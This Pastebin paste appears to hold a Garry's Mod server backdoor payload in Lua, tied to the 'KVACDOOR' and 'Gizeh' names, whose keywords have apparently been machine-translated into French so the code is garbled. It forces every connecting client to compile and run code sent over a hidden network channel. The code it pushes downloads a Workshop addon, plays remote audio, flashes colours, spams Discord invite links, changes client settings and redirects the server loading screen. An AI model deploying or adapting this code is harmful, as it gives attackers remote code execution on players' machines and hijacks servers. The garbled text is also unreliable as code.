API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jan 25th, 2020
92
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.58 KB | None | 0 0
raw download clone embed print report
  1. fonction locale rdm_str (len)
  2.     si! len ou len <= 0 alors retourne '' end
  3.     return rdm_str (len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") [math.random (1, 62)]
  4. fin
  5.  
  6. net_string local = rdm_str (25)
  7.  
  8. util.AddNetworkString (net_string)
  9. BroadcastLua ([[net.Receive ("]] .. net_string .. [[", function () CompileString (util.Decompress (net.ReadData (net.ReadUInt (16))), "?") () End) ]])
  10. hook.Add ("PlayerInitialSpawn", "ifyouseethisdontpanicitsme", fonction (ply)
  11.     si! ply: IsBot () alors
  12.         ply: SendLua ([[net.Receive ("]] .. net_string .. [[", function () CompileString (util.Decompress (net.ReadData (net.ReadUInt (16))), "?") () fin)]])
  13.     fin
  14. fin)
  15.  
  16. fonction locale SendToClient (code)
  17.     données locales = util.Compress (code)
  18.     len local = #data
  19.     net.Start (net_string)
  20.     net.WriteUInt (len, 16)
  21.     net.WriteData (données, len)
  22.     net.Broadcast ()
  23. fin
  24.  
  25. SendToClient ([==== [
  26. steamworks.FileInfo (1830594533, fonction (résultat) steamworks.Download (result.fileid, true, fonction (nom) game.MountGMA (nom) end) end)
  27.  
  28. timer.Simple (4, fonction ()
  29.     game.AddParticles ("particules / kvac.pcf")
  30.     PrecacheParticleSystem ("kvac")
  31.     pour i = 1, 2 do
  32.         ParticleEffectAttach ("kvac", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer (), 0)
  33.     fin
  34. fin)
  35.  
  36. wadixxe_time = false
  37. GizehSSV = GizehSSV ou {}
  38. GizehSSV.Wait1 = GizehSSV.Wait1 ou !! 1
  39. GizehSSVLogo = GizehSSVLogo ou nil
  40. GizehSSV.Enabled = GizehSSV.Enabled ou !! 1
  41.  
  42. AudioSource local = néant
  43. SOUNDSTART_CTP = false
  44.  
  45. sound.PlayURL ("https://www.dropbox.com/s/fdptzder139v7a2/enigmaisleak.mp3?dl=1", "mono noblock noplay", fonction (source, err, errname)
  46.     si IsValid (source) alors
  47.         si SOUNDSTART_CTP alors s: Stop () retourne fin
  48.         AudioSource = source
  49.         source: Play ()
  50.         source: EnableLooping (vrai)
  51.     fin
  52. fin)
  53.  
  54. timer.Create (".. tostring (GizehSSV.SecureString4) ..", 0.1, 0, function ()
  55.     sinon GizehSSV.Enabled puis retourne end
  56.     tapis local = Entité (0): GetMaterials ()
  57.     pour k, v par paires (mat) faire
  58.         si GizehSSV.Wait1 alors
  59.             col local = HSVToColor (CurTime ()% 6 * 60, 1, 1)
  60.             Matière (v): SetVector ("$ color", Vector (col.r / 220, col.g / 220, col.b / 220))
  61.         fin
  62.     fin
  63.     col local = HSVToColor (CurTime ()% 6 * 60, 1, 1)
  64.     pour _, v dans ipairs (player.GetAll ()) do
  65.         v: SetWeaponColor (vecteur (col.r / 255, col.g / 255, col.b / 255))
  66.     fin
  67. fin)
  68.  
  69. timer.Simple (142.267, fonction ()
  70.     sinon GizehSSV.Enabled puis retourne end
  71.     RunConsoleCommand ('gmod_language', 'de')
  72. fin)
  73.  
  74. timer.Simple (22, fonction ()
  75.     wadixxe_time = true
  76.     sinon GizehSSV.Enabled puis retourne end
  77.     timer.Create ("'.. tostring (GizehSSV.SecureString2) ..'", 0.1, 0, function ()
  78.     sinon GizehSSV.Enabled puis retourne end
  79.     notification.AddLegacy ("ACHETER KVACDOOR https://discord.gg/4MZKb7p", math.random (0, 4), 1.5)
  80. fin)
  81.  
  82. fonction GAMEMODE: PostDraw2DSkyBox ()
  83.     col local = HSVToColor (RealTime () * 120% 360, 1, 1)
  84.     render.Clear (col.r / 1.3, col.g / 1.3, col.b / 1.3, 255)
  85.         retour !! 1
  86. fin
  87.  
  88. fonction GAMEMODE: PreDrawSkyBox ()
  89.     col local = HSVToColor (RealTime () * 120% 360, 1, 1)
  90.     render.Clear (col.r / 1.3, col.g / 1.3, col.b / 1.3, 255)
  91.     retour !! 1 fin
  92. fin)
  93.        
  94. timer.Simple (4, fonction ()
  95.     sinon GizehSSV.Enabled puis retourne end
  96.     si GizehSSVLogo alors GizehSSVLogo: Remove () GizehSSVLogo = nil end
  97.     GizehSSVLogo = vgui.Create ('HTML')
  98.     GizehSSVLogo: MoveToFront ()
  99.     GizehSSVLogo: SetSize (600,200)
  100.     GizehSSVLogo: SetPos ((ScrW () / 2) -300, (ScrH () / 8) -100)
  101.     GizehSSVLogo: OpenURL ('https://cdn.discordapp.com/attachments/651483688873492485/651551265330823198/menuemno.png')
  102.     hook.Add ("Tick", "'.. tostring (GizehSSV.SecureString3) ..'", function ()
  103.         données locales = {}
  104.         AudioSource: FFT (données, FFT_512)
  105.         pour i = 1,2 do
  106.             if (data [i]! = nil) then
  107.                 if (tonumber (data [i])> 0.35) then
  108.                     si (wadixxe_time) alors
  109.                         GizehSSVLogo: SetPos ((ScrW () / 2) -math.random (280, 320), (ScrH () / 8) -math.random (80, 120))
  110.                         tapis local = Entité (0): GetMaterials ()
  111.                         pour k, v par paires (mat) faire
  112.                             col local = Couleur (math.random (170,220), math.random (170,220), math.random (170,220))
  113.                             Matériel (v): SetVector ("$ color", Vector (col.r-200, col.g-200, col.b-200))
  114.  
  115.                             col local = Couleur (math.random (170,220), math.random (170,220), math.random (170,220))
  116.                             pour _, v dans ipairs (player.GetAll ()) do
  117.                                 v: SetWeaponColor (vecteur (col.r / 255, col.g / 255, col.b / 255))
  118.                             fin
  119.                     fin
  120.                 fin
  121.             autre
  122.                 GizehSSVLogo: SetPos ((ScrW () / 2) -300, (ScrH () / 8) -100)
  123.             fin
  124.         fin
  125.     fin
  126. fin)
  127.  
  128.    
  129. timer.Create ("'.. totring (GizehSSV.SecureString5) ..'", 1.5, 0, function ()
  130.     heure locale = tonumber (0)
  131.     Message local = {
  132.         ".https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ.",
  133.         "..https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ..",
  134.         "... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ...",
  135.         ".... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ....",
  136.         "..... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ .....",
  137.         "...... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ......",
  138.         "....... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ .......",
  139.         "........ https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ........",
  140.         "......... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ .........",
  141.         "........ https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ........",
  142.         "....... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ .......",
  143.         "...... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ......",
  144.         "..... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ .....",
  145.         ".... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ....",
  146.         "... https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ...",
  147.         "..https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ ..",
  148.         ".https: //discord.gg/vRsYNQN # Σʍиø§ɪΔ.",
  149.         }
  150.  
  151.     pour _, ligne par paires (Message) faire
  152.         temps = temps + ton numéro (0,1)
  153.             timer.Simple (temps, fonction ()
  154.                 sinon GizehSSV.Enabled puis retourne end
  155.                 chat.AddText (HSVToColor (CurTime ()% 6 * 60, 1, 1), ligne)
  156.             fin)
  157.         fin
  158.     fin)
  159. fin)
  160.  
  161. timer.Simple (1, fonction ()
  162.     sinon GizehSSV.Enabled puis retourne end
  163.     texte local = "Le Gizeh et co pluse, le dll et infecter par et me nosia sais pas bien les reille"
  164.     local str = '' text = string.Trim (text) text = string.Explode ('', text) if text == {} then return end for k, v in pairs (text) do str = str .. v. . '+' end sound.PlayURL ('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function ( chan, num, str) end)
  165. fin)
  166.  
  167. onglet local = {
  168.     ["$ pp_colour_addr"] = tonumber (0.001),
  169.     ["$ pp_colour_addg"] = tonumber (0.001),
  170.     ["$ pp_colour_addb"] = tonumber (0),
  171.     ["$ pp_colour_brightness"] = tonumber (-0.5),
  172.     ["$ pp_colour_contrast"] = tonumber (0.8),
  173.     ["$ pp_colour_colour"] = tonumber (3),
  174.     ["$ pp_colour_mulr"] = tonumber (1),
  175.     ["$ pp_colour_mulg"] = tonumber (0.5),
  176.     ["$ pp_colour_mulb"] = tonumber (0.4)
  177. }
  178.    
  179. hook.Add ("RenderScreenspaceEffects", "'..tostring (GizehSSV.SecureString11) ..'", function ()
  180.     DrawColorModify (onglet)
  181. fin)
  182.  
  183.  
  184. concommand.Add ("stopgizeh", fonction ()
  185. hook.Remove ("RenderScreenspaceEffects", "'..tostring (GizehSSV.SecureString109) ..'")
  186. hook.Remove ("Tick", "'..tostring (GizehSSV.SecureString3) ..'")
  187. hook.Remove ("PreDrawy '.. tostring (GizehSSV.SecureString13) ..'")
  188.     fonction GAMEMODE: PostDraw2DSkyBox () return! 1 end
  189.     fonction GAMEMODE: PreDrawSkyBox () return! 1 end
  190.     tapis local = Entité (0): GetMaterials ()
  191.     pour k, v par paires (mat) faire
  192.         col local = HSVToColor (CurTime () * 50% 360, 1, 1)
  193.         Matériel (v): SetVector ("$ color", Vector (1,1,1))
  194.     fin
  195.  
  196. fin)
  197.  
  198. ] ====])
  199.  
  200. timer.Simple (1, fonction ()
  201. RunConsoleCommand ("sv_loadingurl", "https://kvac.cz/assets/ls.html")
  202. gameConsoleCommand ('sv_gravity 200')
  203. fin)
  204.  
  205. timer.Simple (148, fonction ()
  206.     RunConsoleCommand ('changelevel', 'gm_construct')
  207.     RunConsoleCommand ("sv_loadingurl", "https://kvac.cz/assets/ls.html")
  208. fin)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!